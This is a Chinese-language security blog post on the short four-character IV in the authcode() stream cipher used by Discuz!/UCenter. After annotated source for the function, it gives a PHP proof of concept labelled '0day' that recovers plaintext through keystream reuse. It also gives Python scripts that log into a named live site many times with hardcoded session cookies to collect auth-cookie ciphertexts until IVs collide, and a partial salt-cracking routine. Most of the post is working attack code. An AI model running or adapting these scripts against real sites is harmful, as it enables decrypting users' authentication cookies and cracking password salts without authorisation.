Discuz! authcode() 弱IV缺陷


Discuz!的authcode()函数是一个经典的流密码算法实现,discuz和ucenter的很多产品都使用此函数进行加解密。我从网上找了一份算法分析,并自己补充了一些注释,如下(觉得枯燥的朋友也可以跳过此部分,不影响阅读):

======================================================================

 

// $string: 明文 或 密文

// $operation:DECODE表示解密,其它表示加密

// $key: 密匙

// $expiry:密文有效期

//字符串解密加密

function authcode($string, $operation = ‘DECODE’, $key = ”, $expiry = 0) {

// 动态密匙长度,相同的明文会生成不同密文就是依靠动态密匙  (初始化向量IV)

$ckey_length = 4;   // 随机密钥长度 取值 0-32;

// 加入随机密钥,可以令密文无任何规律,即便是原文和密钥完全相同,加密结果也会每次不同,增大破解难度。(实际上就是iv)

// 取值越大,密文变动规律越大,密文变化 = 16 的 $ckey_length 次方

// 当此值为 0 时,则不产生随机密钥

// 密匙

$key = md5($key ? $key : UC_KEY);

// 密匙a会参与加解密

$keya = md5(substr($key, 0, 16));

// 密匙b会用来做数据完整性验证

$keyb = md5(substr($key, 16, 16));

// 密匙c用于变化生成的密文   (初始化向量IV)

$keyc = $ckey_length ? ($operation == ‘DECODE’ ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : ”;

// 参与运算的密匙

$cryptkey = $keya.md5($keya.$keyc);

$key_length = strlen($cryptkey);

// 明文,前10位用来保存时间戳,解密时验证数据有效性,10到26位用来保存$keyb(密匙b),解密时会通过这个密匙验证数据完整性

// 如果是解码的话,会从第$ckey_length位开始,因为密文前$ckey_length位保存 动态密匙,以保证解密正确

$string = $operation == ‘DECODE’ ? base64_decode(substr($string, $ckey_length)) : sprintf(‘%010d’, $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;

$string_length = strlen($string);

$result = ”;

$box = range(0, 255);

$rndkey = array();

// 产生密匙簿

for($i = 0; $i <= 255; $i++) {

$rndkey[$i] = ord($cryptkey[$i % $key_length]);

}

// 用固定的算法,打乱密匙簿,增加随机性,好像很复杂,实际上对并不会增加密文的强度

for($j = $i = 0; $i < 256; $i++) {

$j = ($j + $box[$i] + $rndkey[$i]) % 256;

$tmp = $box[$i];

$box[$i] = $box[$j];

$box[$j] = $tmp;

}

// 核心加解密部分

for($a = $j = $i = 0; $i < $string_length; $i++) {

$a = ($a + 1) % 256;

$j = ($j + $box[$a]) % 256;

$tmp = $box[$a];

$box[$a] = $box[$j];

$box[$j] = $tmp;

// 从密匙簿得出密匙进行异或,再转成字符

 $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));

}

if($operation == ‘DECODE’) {

// 验证数据有效性,请看未加密明文的格式

if((substr($result, 0, 10) == 0 || substr($result, 0, 10) – time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {

return substr($result, 26);

} else {

return ”;

}

} else {

// 把动态密匙保存在密文里,这也是为什么同样的明文,生产不同密文后能解密的原因

// 因为加密后的密文可能是一些特殊字符,复制过程可能会丢失,所以用base64编码

return $keyc.str_replace(‘=’, ”, base64_encode($result));

}

}

======================================================================

在这个函数中,keyc 就是IV(初始化向量), ckey_length 就是IV的长度。$ckey_length = 0时,没有IV。

 

IV的意义就是为了一次一密,它影响到真正每次用于加密的XOR KEY。

而“Reused Key Attack”的前提就是要求XOR KEY是相同的。但discuz默认使用的IV长度是4,这并不是一个很大的值,因此可以遍历出所有的IV可能值。一旦IV出现重复,就意味着XOR KEY也重复了,因此可以实施“Reused Key Attack”。

如下演示代码

 

<?php

 

define(‘UC_KEY’,’asdfasfas’);

 

$plaintext1 = “2626”;

$plaintext2 = “2630”;

 

$guess_result = “”;

 

$time_start = time();

 

$dict = array();

global $ckey_length;

$ckey_length = 4;

 

echo “== Discuz/UCenter authcode() stream cipher attack exploit v2(crack plaintext)\n”;

echo “== 0day by axis ==\n”;

echo “== 2011.9.2 ==\n\n”;

 

echo “Collecting Dictionary(XOR Keys).\n”;

 

 

$cipher2 = authcode($plaintext2, “ENCODE” , UC_KEY);

 

$counter = 0;

for (;;){

$counter ++;

$cipher1 = authcode($plaintext1, “ENCODE” , UC_KEY);

$keyc1 = substr($cipher1, 0, $ckey_length);

$cipher1 = base64_decode(substr($cipher1, $ckey_length));

$dict[$keyc1] = $cipher1;

if  ( $counter%1000 == 0){

echo “.”;

if ($guess_result = guess($dict, $cipher2)){

break;

}

}

}

 

array_unique($dict);

 

echo “\nDictionary Collecting Finished..\n”;

echo “Collected “.count($dict).” XOR Keys\n”;

 

function guess($dict, $cipher2){

global $plaintext1,$ckey_length;

 

$keyc2 = substr($cipher2, 0, $ckey_length);

$cipher2 = base64_decode(substr($cipher2, $ckey_length));

 

for ($i=0; $i<count($dict); $i++){

if (array_key_exists($keyc2, $dict)){

echo “\nFound key in dictionary!\n”;

echo “keyc is: “.$keyc2.”\n”;

return crack($plaintext1,$dict[$keyc2],$cipher2);

break;

}

}

return False;

}

 

 

echo “\ncounter is:”.$counter.”\n”;

$time_spend = time() – $time_start;

echo “crack time is: “.$time_spend.” seconds \n”;

echo “crack result is :”.$guess_result.”\n”;

 

function crack($plain, $cipher_p, $cipher_t){

$target = ”;

$tmp_p = substr($cipher_p, 26);

echo hex($tmp_p).”\n”;

$tmp_t = substr($cipher_t, 26);

echo hex($tmp_t).”\n”;

for ($i=0;$i<strlen($plain);$i++){

$target .= chr(ord($plain[$i]) ^ ord($tmp_p[$i]) ^ ord($tmp_t[$i]));

}

return $target;

}

 

 

function hex($str){

$result = ”;

for ($i=0;$i<strlen($str);$i++){

$result .= “\\”.ord($str[$i]);

}

return $result;

}

 

function authcode($string, $operation = ‘DECODE’, $key = ”, $expiry = 0) {

 

global $ckey_length;

//$ckey_length = 4;

 

$key = md5($key ? $key : UC_KEY);

$keya = md5(substr($key, 0, 16));

$keyb = md5(substr($key, 16, 16));

$keyc = $ckey_length ? ($operation == ‘DECODE’ ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : ”;

 

$cryptkey = $keya.md5($keya.$keyc);

$key_length = strlen($cryptkey);

 

$string = $operation == ‘DECODE’ ? base64_decode(substr($string, $ckey_length)) : sprintf(‘%010d’, $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;

$string_length = strlen($string);

 

$result = ”;

$box = range(0, 255);

 

$rndkey = array();

for($i = 0; $i <= 255; $i++) {

$rndkey[$i] = ord($cryptkey[$i % $key_length]);

}

 

for($j = $i = 0; $i < 256; $i++) {

$j = ($j + $box[$i] + $rndkey[$i]) % 256;

$tmp = $box[$i];

$box[$i] = $box[$j];

$box[$j] = $tmp;

}

 

//$xx = ”; // real key

for($a = $j = $i = 0; $i < $string_length; $i++) {

$a = ($a + 1) % 256;

$j = ($j + $box[$a]) % 256;

$tmp = $box[$a];

$box[$a] = $box[$j];

$box[$j] = $tmp;

//$xx .= chr($box[($box[$a] + $box[$j]) % 256]);

$result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));

}

//echo “xor key is: “.hex($xx).”\n”;

 

if($operation == ‘DECODE’) {

if((substr($result, 0, 10) == 0 || substr($result, 0, 10) – time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {

return substr($result, 26);

} else {

return ”;

}

} else {

return $keyc.str_replace(‘=’, ”, base64_encode($result));

}

}

 

?>

 

 

测试效果:

在实际互联网中,要强迫出现重复的IV也不是什么难事。IV不是保密信息,密文的前4字节就是IV的值。

以下演示代码,将从一个网站中遍历出重复的IV。

每次请求抓取到的密文和IV,会存放在本地数据库中。通过另一个程序周期性的查询数据库,看是否出现了重复的IV。根据birthday attack的原理,启动了两个抓取进程(注册了两个网站用户,以便产生出不同的明文用于加密),分别将取回的密文存在两张表里。两个抓取程序的代码是一样的。由于时间关系,没有再次优化这个POC了。

grab_cipher1.py:

 

======================================================================

import string

import urllib2

import urllib

#from urlparse import urlparse

import httplib

import Cookie

import sqlite3

import base64

import operator

 

#url = “http://photo003.com/member.php?mod=logging&action=login&loginsubmit=yes&infloat=yes&lssubmit=yes&inajax=1”

#req = urllib2.Request(url,data,headers)

#f = urllib2.urlopen(req)

 

# Step1 get cipher1 of plaintext1 to generate dictionary

 

dbcon = sqlite3.connect(‘./authcode.db’)

c = dbcon.cursor()

# 如果是第一次执行,需要创建表,之后则不再需要

#c.execute(‘CREATE TABLE photo003_2626(id INTEGER PRIMARY KEY, iv VARCHAR(32), cipher TEXT)’)

 

dbcon.text_factory = str

 

 

for i in range(0,10000):

headers = {‘User-Agent’:’Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9.2.20) Gecko/20110803 Firefox/3.6.20′,

‘Content-Type’:’application/x-www-form-urlencoded’,

‘Referer’:’http://photo003.com/’,

‘Cookie’:’79uz_d57e_lastvisit=1315289799; 79uz_d57e_sid=mwblLl; 79uz_d57e_lastact=1315293401%09home.php%09misc; 79uz_d57e_sendmail=1; pgv_pvi=5521148000; pgv_info=ssi=s4855221700; cnzz_a2048277=0; sin2048277=; rtime=0; ltime=1315293240710; cnzz_eid=24694723-1315293457-; lzstat_uv=25192795223599758253|1758779; lzstat_ss=273007993_0_1315322042_1758779′}

data = {‘username’:’请替换username’,’password’:’请替换pass’,’quickforward’:’yes’,’handlekey’:’ls’}

data = urllib.urlencode(data)

 

conn = httplib.HTTPConnection(“photo003.com”)

conn.request(‘POST’,

‘/member.php?mod=logging&action=login&loginsubmit=yes&infloat=yes&lssubmit=yes&inajax=1’,

data,

headers)

 

res = conn.getresponse()

 

if res:

cookies = Cookie.SimpleCookie()

cookies.load(res.getheader(“Set-Cookie”))

 

authcookie = urllib.unquote(cookies[“79uz_d57e_auth”].value)

iv = authcookie[0:4]

cipher = base64.b64decode(authcookie[4:])

c.execute(‘INSERT INTO photo003_2626(iv, cipher) VALUES (?, ?)’,(iv, cipher))

 

dbcon.commit()

print str(i) + ‘   ‘ + iv

 

======================================================================

 

grab_cipher2.py:

======================================================================

 

import string

import urllib2

import urllib

#from urlparse import urlparse

import httplib

import Cookie

import sqlite3

import base64

import operator

 

#url = “http://photo003.com/member.php?mod=logging&action=login&loginsubmit=yes&infloat=yes&lssubmit=yes&inajax=1”

#req = urllib2.Request(url,data,headers)

#f = urllib2.urlopen(req)

 

# Step1 get cipher1 of plaintext1 to generate dictionary

 

dbcon = sqlite3.connect(‘./authcode.db’)

c = dbcon.cursor()

#c.execute(‘CREATE TABLE photo003_2630(id INTEGER PRIMARY KEY, iv VARCHAR(32), cipher TEXT)’)

 

dbcon.text_factory = str

 

 

for i in range(0,10000):

headers = {‘User-Agent’:’Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9.2.20) Gecko/20110803 Firefox/3.6.20′,

‘Content-Type’:’application/x-www-form-urlencoded’,

‘Referer’:’http://photo003.com/’,

‘Cookie’:’79uz_d57e_lastvisit=1315289799; 79uz_d57e_sid=mwblLl; 79uz_d57e_lastact=1315293401%09home.php%09misc; 79uz_d57e_sendmail=1; pgv_pvi=5521148000; pgv_info=ssi=s4855221700; cnzz_a2048277=0; sin2048277=; rtime=0; ltime=1315293240710; cnzz_eid=24694723-1315293457-; lzstat_uv=25192795223599758253|1758779; lzstat_ss=273007993_0_1315322042_1758779′}

data = {‘username’:’请替换username2′,’password’:’请替换pass2′,’quickforward’:’yes’,’handlekey’:’ls’}

data = urllib.urlencode(data)

 

conn = httplib.HTTPConnection(“photo003.com”)

conn.request(‘POST’,

‘/member.php?mod=logging&action=login&loginsubmit=yes&infloat=yes&lssubmit=yes&inajax=1’,

data,

headers)

 

res = conn.getresponse()

 

if res:

cookies = Cookie.SimpleCookie()

cookies.load(res.getheader(“Set-Cookie”))

 

authcookie = urllib.unquote(cookies[“79uz_d57e_auth”].value)

iv = authcookie[0:4]

cipher = base64.b64decode(authcookie[4:])

c.execute(‘INSERT INTO photo003_2630(iv, cipher) VALUES (?, ?)’,(iv, cipher))

 

dbcon.commit()

print str(i) + ‘   ‘ + iv

 

 

======================================================================

 

crack_discuz_authcode.py:

======================================================================

 

import string

import urllib2

import urllib

#from urlparse import urlparse

import httplib

import Cookie

import sqlite3

import base64

import operator

import md5

import random

 

 

def crack(plain1, cipher1, cipher2):

plain2 = ”

for i in range(0,len(plain1)):

ch = operator.xor(ord(plain1[i]), ord(cipher1[i]))

plain2 += chr(operator.xor(ch, ord(cipher2[i])))

return plain2

 

def bytecode(st):

s = ”

for c in st:

s = s + str(ord(c)) + ‘,’

return s

 

def list_iv_collision():

dbcon = sqlite3.connect(‘./authcode.db’)

c = dbcon.cursor()

 

dbcon.text_factory = str

 

c.execute(‘select * from photo003_2626’)

r1 = c.fetchall()

 

c.execute(‘select * from photo003_2630’)

r2 = c.fetchall()

if r1 and r2:

for c1 in r1:

for c2 in r2:

if c1[1] == c2[1]:

print c1[1] + ‘   ‘ + c2[1]

c.close()

 

 

dbcon = sqlite3.connect(‘./authcode.db’)

c = dbcon.cursor()

 

dbcon.text_factory = str

 

list_iv_collision()

 

###################################

#  下面的代码尝试破解salt,此功能尚未完成

###################################

iv = “dee5”

pwd = “password”

 

c.execute(‘select * from photo003_2626 where iv=?’, (iv,))

r1 = c.fetchone()

 

c.execute(‘select * from photo003_2630 where iv=?’, (iv,))

r2 = c.fetchone()

 

if r1 and r2:

for x in range(0,99999999):

csets = “abcdefghijklmnopqrstuvwxyz0123456789″

salt = ”

for i in range(0,6):

salt += random.choice(csets)

plain1 = md5.new(md5.new(pwd).hexdigest() + salt).hexdigest() + ‘\t’ + ‘2626’

#print salt

#print plain1

plain2 = crack(plain1, r1[2][26:], r2[2][26:] )

#print plain2

if plain1[0:32] == plain2[0:32]:

print salt

print ‘counter is:’ + str(x)

break

if x%100000 == 0:

print str(x) + ‘    ‘ + salt

 

c.close()

 

 

======================================================================

 

测试效果:

 

在十几分钟内就能收集到很多重复的IV。

 

通过这样的方法还能够破解salt,但由于时间关系,我没有继续完成此段代码了,有兴趣的读者可以继续研究下去。

 

authcode()函数由于有HMAC的存在因此无法伪造出任意明文的密文。这是因为HMAC的生成与服务端密钥有关,在未知密钥的情况下,是无法构造出合法的HMAC的。

最后,我想说的是,这些攻击最后能产生什么样的后果,是要看应用使用该加密算法做了什么事情。在phpwind中,我找到了验证码的一个缺陷。但由于时间关系,我并未去寻找更多有利用价值的地方。

 

这些攻击都是在“不知道密钥”的情况下实施的攻击。而渗透的过程是复杂的,有时候通过注入、文件包含等方式能够获取到密钥,就可能会衍生出另外一些风险。比如知道密钥后,可以构造出合法的时间戳和HMAC,从而完成bit-flipping攻击,使得一个本来失效的cookie再次有效(假设autchode不再认为0000000000的时间是合法的)。这些都需要发挥安全研究者的想象力。